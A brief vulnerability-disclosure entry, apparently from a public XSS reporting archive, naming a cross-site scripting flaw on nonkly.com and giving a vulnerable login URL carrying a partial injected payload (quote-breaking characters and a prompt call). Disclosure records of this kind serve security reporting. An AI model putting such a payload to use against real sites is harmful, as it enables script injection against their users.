nonkly.com XSS vulnerability

Vulnerable URL: https://www.nonkly.com/login.php?button=Buy=getpin=987-65-4329'%22%26%25prompt/XSSPOSED/...